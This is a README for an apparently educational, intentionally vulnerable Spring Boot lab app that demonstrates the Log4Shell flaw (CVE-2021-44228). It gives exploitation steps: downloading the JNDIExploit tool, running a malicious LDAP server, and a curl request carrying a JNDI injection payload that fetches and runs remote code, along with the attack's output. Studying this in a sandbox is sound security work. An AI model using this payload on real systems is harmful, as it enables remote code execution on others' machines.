# Log4Shell sample vulnerable application (CVE-2021-44228)

This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).

It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.

![](./screenshot.png)

## Running the application

Run it:

```bash
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
```

## Exploitation steps

*Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.*

**Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528))... 
[Click Here](http://web.archive.org/web/20211211031401/https://objects.githubusercontent.com/github-production-release-asset-2e65be/314785055/a6f05000-9563-11eb-9a61-aa85eca37c76?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211211%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20211211T031401Z&X-Amz-Expires=300&X-Amz-Signature=140e57e1827c6f42275aa5cb706fdff6dc6a02f69ef41e73769ea749db582ce0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=314785055&response-content-disposition=attachment%3B%20filename%3DJNDIExploit.v1.2.zip&response-content-type=application%2Foctet-stream) to Download the version cached by the Wayback Machine.*

* Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server

```bash
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
```

* Then, trigger the exploit using:

```bash
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```

* Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:

```
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
```

* To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:

```
$ docker exec vulnerable-app ls /tmp
...
pwned
...
```

## Reference

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

## Contributors

[@christophetd](https://twitter.com/christophetd)
[@rayhan0x01](https://twitter.com/rayhan0x01)